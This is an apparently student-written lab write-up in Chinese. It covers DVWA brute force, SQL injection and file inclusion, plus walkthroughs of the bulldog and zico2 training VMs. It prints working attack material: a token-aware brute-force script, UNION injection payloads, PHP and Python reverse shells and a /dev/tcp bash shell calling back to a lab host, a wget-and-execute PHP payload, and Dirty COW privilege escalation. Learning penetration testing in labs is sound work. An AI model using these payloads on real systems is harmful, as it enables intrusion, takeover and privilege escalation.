admin管理员组

文章数量:1638215

目录

  • 实验一:暴力破解
    • 0x01 低难度:
    • 0x02 中难度:
    • 0x03 高难度
  • 实验二:SQL注入
    • 0x01 低难度:
    • 0x02 中难度:
    • 0x03 高难度:
  • 实验三:文件包含
    • 0x01 低难度
    • 0x02 中难度
    • 0x03 高难度
  • 实验四:bulldog实战综合实验
    • 0x01 环境
    • 0x02靶机渗透
      • 一、 信息收集
      • 二、 漏洞挖掘
        • 命令执行漏洞
      • 三、 反弹shell
      • 四、 本地提权
  • 实验五:zico实战综合实验
    • 0x01 环境
    • 0x02 靶机渗透
      • 一、 信息收集
      • 二、漏洞挖掘
        • 文件包含漏洞
        • phpLiteAdmin版本漏洞
      • 三、漏洞利用:
      • 四、本地提权

实验一:暴力破解

具体要求:对指定IP的环境进行登陆点暴破。
A、 可指定IP地址;
B、 可设定扫描所需的线程数;
C、 对暴破结果及其原理进行分析并展示对应过程。

0x01 低难度:

  1. 登录dvwa靶场

  2. 重置数据库

  3. 设置难度等级

  4. 进入登录点爆破模块

  5. 使用用户名:admin 密码:password 登录成功,会显示图片

  6. 假设我们不知道账号密码,我们利用burp工具进行爆破

  7. 使用任意账户及密码进行登录

  8. burp成功拦截数据包

  9. 将数据包放进Intruder模块

  10. 来到Intruder模块,可指定任意ip,这里不需要修改

  11. 清空默认参数

    只选中所需要爆破参数的值

  12. 选择攻击类型Cluster bomb

  13. 添加爆破字典

  14. 设置爆破线程,并进行攻击

  15. 通过Length对扫描结果进行排序,一般爆破成功的与失败的Length不同

    所以爆破成功,可登录的用户名:admin 密码:password

0x02 中难度:

  1. 设置难度等级

  2. 查看源码


    从源码中可以看出每爆破错误一下,需要等待两秒,和低难度操作一样,只是爆破时间变长了

0x03 高难度

  1. 设置难度等级
  2. 使用任意密码登录,从请求的url看出来相比低中难度多了参数user_token。没错,这里设置token值,我们每次请求都需要有个token值,所以我们这里需要编写脚本来完成爆破。
  3. 使用burp抓取登录的数据包

  4. 编写爆破脚本
from bs4 import BeautifulSoup
import requests,re

#构造数据包
attack_ip = input('输入DVWA所在IP:')


header={'Host': f'{attack_ip}',
		'Cache-Control': 'no-cache, must-revalidate',
	    'If-None-Match': "307-52156c6a290c0",
		'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0',
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
		'Referer': f'http://{attack_ip}/dvwa/vulnerabilities/brute/index.php',
		'Accept-Encoding': 'gzip, deflate',
		'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
		'Cookie': 'security=high; PHPSESSID=ajvk9ihkgjv6ei38pvigeqd403'}
requrl = f"http://{attack_ip}/dvwa/vulnerabilities/brute/index.php"
 
def get_token(URL,header):
	#req = urllib.Request(url=URL,headers=header)
	response = requests.get(url=URL,headers=header)
	print (response.status_code,end='  ')
	the_page = response.text
	# print(the_page)
	print (len(the_page))
	#使用正则表达式获得token值
	token = re.findall(r"user_token.*?value='(.*?)'",the_page)
	# print(token[0])
	return token[0]


user_token = get_token(requrl,header)

i=0
for line in open('pass.txt'):
	URL = f"http://{attack_ip}/dvwa/vulnerabilities/brute/index.php"+"?username=admin&password="+line.strip()+"&Login=Login&user_token="+user_token
	# print(URL)
	i = i+1
	print (i,'admin',line.strip(),end = ' ')
	user_token = get_token(URL,header)

并且将密码字典放进脚本所在的路径

5. 运行脚本,暴力破解

根据返回的Length值,可以看出暴力破解成功,所以密码为password

实验二:SQL注入

具体要求:利用SQL注入漏洞进行数据库账号密码的读取并解密。
A、 对被测试主机进行数据库版本获取;
B、 获取数据库中库名、表名、列名和数据;
C、 破解加密数据。

0x01 低难度:

  1. 设置注入难度

  2. 生产环境:
    输入id值,则返回对应的用户

    id为1对应的用户名及密码我们可以看到(输入id为2,3,4等也可以看到对应的用户名)

  3. 判断是否存在注入,以及判断注入类型


    通过报错信息可以大概看出来是单引号字符型

验证sql注入

1' and '1'='1
1' and '1'='2



所以判断此处存在单引号字符型sql注入
查看源码验证我们猜解的结果

  1. 判断注入的字段数
1' order by 2#

1' order by 3#


可以看出注入的字段数为2

  1. 判断显示位置
1' union select 1,2#

  1. 查看当前数据库
-1' union select 1,database()#

  1. 查看当前数据库中所有的表
-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#

  1. 查看users表中所有的列
-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#

  1. 查询数据,也可以F12查看数据查看更加完整
1' union select group_concat(user),group_concat(password) from users#


10. 在MD5解密网站可以进行逐个解密
MD5在线解密

0x02 中难度:

  1. 设置难度等级

  2. 开启burp拦截数据包

    此时这里已经不低级难度那种手动输入,这里已经改为了选项。我们借助burp抓取数据包,修改数据

  3. 抓到数据包后右击将数据包扔到Repeater模块中(方便我们重复查看返回的结果)

  4. 手动修改id处的值进行注入
    后面操作与低级难度一样,注入类型为数字型注入,其余操作一样。这里只做了查询当前数据库

-1 union select 1,database()


0x03 高难度:

高级难度与低级难度做法相同,只是实现了站库分离,更加具有安全性。
单引号字符型注入

实验三:文件包含

具体要求:在被测试主机上事先写好文件或指定文件名,利用文件包含从web端读取系统服务器上的文件。
A、 测试并挖掘出文件包含漏洞;
B、 展示文件包含漏洞的过程并分析其原理;
C、 利用包含漏洞读取指定文件,并获取文件内容。

0x01 低难度

  1. 设置难度等级
  2. 这里我们每点击一个文件就会返回一个页面,此处就是文件包含

    URL中国形如?page=这种形式,可能存在文件包含
  3. 输入/etc/passwd 故意使其报错(这里使用/etc/passwd的原因是因为这是linux所特有文件)

    从报错信息中可以看出该主机为windows操作系统,并且爆出了绝对路径
  4. 绝对路径文件包含
    4.1 文件包含C:/boot.ini(windows操作系统一般所特有的文件,C:\windows\repair\sam文件也可以)

4.2 在网站根目录下写入phpinfo.txt文件(内容为php代码)

文件包含成功
访问txt文件,发现文件包含漏洞先执行文件中代码,与文件类型无关,无代码则将文件中的信息显示出来

4.3 包含非代码文件

进行包含

  1. 相对路径文件包含
    5.1 回www/目录,并包含其中phpinfo.txt文件

    从报错信息可以知道
当前目录:C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\fi\
#../是返回上一级目录
向前返回三级目录:../../../
返回三级目录后是:C:\phpStudy\PHPTutorial\WWW\   (前面创建的phpinfo.txt在当前目录)


5.2 返回C:\目录,并包含boot.ini

6. 远程文件包含
6.1 切换至网站根目录(kali_linux主机ip=192.168.30.182,这里充当受害机,在主机上编写反弹shell脚本)

cd /var/www/html

6.2 编写脚本

vi shell.php

#这里的ip为攻击者的ip,可以克隆一台kali充当攻击者主机,端口随意指点
<?php $sock=fsockopen("192.168.30.209",5555);exec("/bin/sh -i <&3 >&3 2>&3")?>

6.3 开启http服务

systemctl start apache2.service


6.4 攻击者主机开启监听(ip=192.168.30.209,上面脚本中填写的ip)

6.5 远程包含kali主机上的shell.php

6.6 出现连接响应
可能由于环境问题没能连接成功,但是可以看到有连接响应

  1. 伪协议包含(实验内容中没要求,可以做一下)
    7.1 用php的filter协议读取文件内代码,并以bash64形式显示出来
http://192.168.30.189/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=../../../phpinfo.php


将得到的内容进行base64解码,得到源码

7.2 伪协议php://input输入要执行的代码,以POST方式提交参数
使用burp抓包修改数据包,放过

得到php版本及信息页面

0x02 中难度

  1. 设置难度等级
  2. 查看源码,可以看到对这些符号进行了过滤,对与绝对路径包含含无影响,但是对于相对路径以及远程文件包含有影响,但是我们可以进行绕过
绕过方法: (双写绕过,将中间所插入的字符过滤后,剩余的就拼接成了需要的字符)
htthttp://p://    -->  http://
hthttps://tps://  -->  https://
..././            -->  ../
...\.\            -->  ..\
  1. 相对路径包含phpinfo.txt

    这里只举例一个,其余的做法与低难度相同,只是增加了双写绕过

0x03 高难度

  1. 选择难度等级
  2. 从源码中可以看出,这里只能使用file:///伪协议进行包含
  3. file:///伪协议进行包含
http://192.168.30.189/dvwa/vulnerabilities/fi/?page=file:///C:\phpStudy\PHPTutorial\WWW\phpinfo.txt

实验四:bulldog实战综合实验

具体要求:从获取ip、端口、服务到拿下被攻击主机的控制权。
A、 利用工具获取ip、端口、服务;
B、 根据web服务提供的业务功能,挖掘出命令执行漏洞;
C、 利用命令执行漏洞获取被攻击主机的控制权。

0x01 环境

靶机ip:192.168.30.159
kali ip:192.168.30.182

  1. 解压靶机
  2. 虚拟机中打开

    选择解压后的文件
  3. 启动靶机
    网络适配器需要与kali一致,都设置为NAT模式,点击 ▶靶机,开启成功


0x02靶机渗透

一、 信息收集

  1. 主机发现
nmap -sn 192.168.30.0/24

扫描出靶机bulldog的ip:192.168.30.159

  1. 端口扫描
masscan --rate=10000 --ports 0-65535 192.168.30.159

可以看到开放了80, 8080, 23三个端口

  1. 详细扫描
nmap -T4 -sV -O -p 80,8080,23 192.168.30.159

可以扫描出端口所对应的服务,以及具有python环境,并且是linux操作系统

  1. dirb进行目录扫描
dirb http://192.168.30.159/

  1. 网站指纹识别
whatweb http://192.168.30.159

  1. 访问网站内各个可以访问到的页面以获取重要信息
    6.1 网站首页

    6.2 通过点击网站内的信息找到notice/目录下的文件

    6.3 发现admin/ 是一个登陆点,这里我们的思路可以进行sql注入,暴力破解等(这个页面是通过前面的目录扫描得到)

    6.4 发现一个需要经验证才可以访问到的shell页面,可能是需要登录上面所发现admin/登录点才可以进行访问(这个页面也是通过前面目录扫描得到)

二、 漏洞挖掘

  1. 在/dev页面F12查看源码,发现存在经MD5加密的密文

  2. 进行解密
    MD5解密网站


    得到用户nick@bulldogindustries的密码:bulldog
    得到用户sarah@bulldogindustries的密码:bulldoglover
    (登录时发现要去掉后面的邮箱,仅仅用nick, sarash登录)

  3. 进行登录,并且成功登录

  4. 访问shell页面
    但是在登录后的网页内并没有发现什么有用信息,想起来前面做信息收集的地方有个需要授权的shell页面,再次访问,成功访问

命令执行漏洞
  1. 发现此页面是个命令执行页面
    并且仅仅能执行所给出的命令
  2. 但是我们通过执行命令pwd && uname -a发现此处存在命令执行漏洞,我们将可以使用未给的uanme命令将linux操作系统的内核显示出来

三、 反弹shell

方法一:

  1. 在linux主机下编写反弹shell脚本
    该脚本为python类型脚本的原因:前面信息收集时发现主机上具有python环境,shell脚本也可以尝试一下
#将shell反弹至192.168.30.182主机(主机kali_linux的ip)的1234端口
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.30.182",1234))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"])


2. 并且在脚本所在的路径下利用python打开一个临时的http服务

python -m SimpleHTTPServer 8080


3. 利用wget命令下载到目标主机
这里要注意访问的端口,端口是python开启http服务的端口

通过ls查看反弹shell脚本已经下载服务器

4. linux主机开启监听1234端口

nc -vnlp 1234


5. 运行反弹shell脚本,发现linux主机拿到shell

(也可以通过echo命令将反弹shell脚本一条一条的写入目标主机上,然后用python直接运行,反弹shell)
方法二:

  1. 开启监听

  2. 直接执行反弹shell命令

echo 'bash -i >& /dev/tcp/192.168.30.182/2222 0>&1' | bash


3. 反弹shell成功

四、 本地提权

  1. 查看当前用户,当前所在路径,内核信息等
  2. 在/home目录下查找有用信息


  3. 发现乱码,使用strings命令查看
    strings命令用来提取和显示非文本文件中的文本字符串

    发现一串密码
  4. python打开一个标准的shell
python -c 'import pty;pty.spawn("/bin/bash")'


5. 利用配置不当成功提权

实验五:zico实战综合实验

具体要求:从获取ip、端口、服务到拿下被攻击主机的控制权。
A、 利用工具获取ip、端口、服务;
B、 根据登录点的薄弱问题进入数据库;
C、 利用数据库中的代码执行及文件包含漏洞的结合获取被攻击主机的控制权。

0x01 环境

靶机ip:192.168.30.160
kali ip:192.168.30.182

  1. 解压靶机

  2. 虚拟机中打开

    选择解压后的文件

  3. 启动靶机
    网络适配器需要与kali一致,都设置为NAT模式,点击 ▶靶机,开启成功


0x02 靶机渗透

一、 信息收集

  1. 主机发现
arp-scan -l

扫描出靶机zico2的ip:192.168.30.160

  1. 端口扫描
masscan --rate=10000 --ports 0-65535 192.168.30.160

可以看到开放了111, 22, 80, 59228四个端口

  1. 详细扫描
nmap -T4 -sV -O -p 111,22,80,59228 192.168.30.160

可以扫描出端口所对应的服务,并且是linux操作系统

  1. dirb进行目录扫描
dirb http://192.168.30.160/

  1. 网站指纹识别
whatweb http://192.168.30.160

  1. 访问网站内各个可以访问到的页面以获取重要信息
    6.1 网站首页

    6.2 访问/dbadmin页面(当前网页由前面目录扫描获得的路径)

    点进去发现是利用phpLiteAdmin工具管理数据库页面

二、漏洞挖掘

文件包含漏洞
  1. 网站首页进行查看时,发现点击下面这个按钮跳转到另一个页面

    跳转到这个页面,从url的特征(.php?page=)可以看出来此处可能存在文件包含漏洞
http://192.168.30.160/view.php?page=tools.html

  1. 判断是否存在文件包含漏洞


    可以看出此处存在文件包含漏洞(在后面会用到)
phpLiteAdmin版本漏洞
  1. 可以查找phpLiteAdmin的版本漏洞
searchsploit phpLiteadmin 1.9.3


也可以在网页上进行搜索
网页漏洞库

  1. 查看版本漏洞详细信息
    从中我们可以看出这里默认登录密码为admin

    以下是渗透步骤的详细信息,我们后面根据文档进行漏洞复现
┌──(root💀kali)-[~]
└─# cat /usr/share/exploitdb/exploits/php/webapps/24044.txt
# Exploit Title: phpliteadmin <= 1.9.3 Remote PHP Code Injection Vulnerability
# Google Dork: inurl:phpliteadmin.php (Default PW: admin)
# Date: 01/10/2013
# Exploit Author: L@usch - http://la.usch.io - http://la.usch.io/files/exploits/phpliteadmin-1.9.3.txt
# Vendor Homepage: http://code.google/p/phpliteadmin/
# Vendor Status: Informed
# Software Link: http://phpliteadmin.googlecode/files/phpliteadmin_v1-9-3.zip
# Version: 1.9.3
# Tested on: Windows and Linux

Description:

phpliteadmin.php#1784: 'Creating a New Database' => 
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',

An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.

Proof of Concept:

1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.
Preview: http://goo.gl/B5n9O
Hex preview: http://goo.gl/lJ5iQ

2. Now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>
Hex preview: http://goo.gl/v7USQ

3. Now we run hack.php

Done!

Proof: http://goo.gl/ZqPVL                                                                                                        

  1. 使用默认密码admin尝试登录,结果登录成功

  2. 为了简便,这里就利用创建好的数据库shell.php,首先删除shell表中的数据

  3. 向shell表中插入我们要测试的页面(phpinfo页面)


    成功创建

  4. 利用前面找到的文件包含漏洞,成功访问phpinfo页面

三、漏洞利用:

  1. 在kali_linux主机编写反弹shell脚本,并将脚本放入apache网站根目录下(/var/www/html)
    注意路径
<?php $sock=fsockopen("192.168.30.182",5555);exec("/bin/sh -i <&3 >&3 2>&3")?>


  1. 开启http服务
systemctl start apache2.service

  1. 和前面步骤相同删除原来的代码
  2. 插入下载反弹shell脚本,并且执行脚本的命令(后面利用文件包含可以执行)
<?php system("wget http://192.168.30.182/shell.txt -O /tmp/shell.php;php /tmp/shell.php");?>


成功插入

  1. kali_linux主机开启监听
nc -vnlp 5555


6. 利用文件包含漏洞执行系统命令

7. 拿到shell

四、本地提权

  1. python打开一个标准的shell
python -c 'import pty;pty.spawn("/bin/bash")'

  1. 查看当前基本信息
whoami;id;pwd;uname -a


可以看出来这是Ubuntu操作系统

  1. 查看Ubuntu版本信息
lsb_release -a


发现版本是Ubuntu 12.04.5 LTS,非常好,因为该版本适用于脏牛提权
补充:可用于脏牛提权的版本

  1. kali打开新终端,将脏牛脚本放进网站根目录(/var/www/html),并且赋予777权限(由于我们前面已步骤中已经开启http服务,所以此处不需要再次开启http服务)
chmod 777 dirty.c

  1. 靶机切换到/tmp目录,下载脏牛脚本
wget http://192.168.30.182/dirty.c

  1. 编译脏牛脚本
gcc -pthread dirty.c -o dirty -lcrypt

  1. 执行脚本,得到用户:firefart 与密码:123456
./dirty 123456


最后需要执行命令mv /tmp/passwd.bak /etc/passwd以恢复原有的root用户

  1. 切换用户firefart


    用户拿到管理员权限

  2. 查看flag

  3. 恢复root用户,清理痕迹

mv /tmp/passwd.bak /etc/passwd



渗透完成

本文标签: 课程设计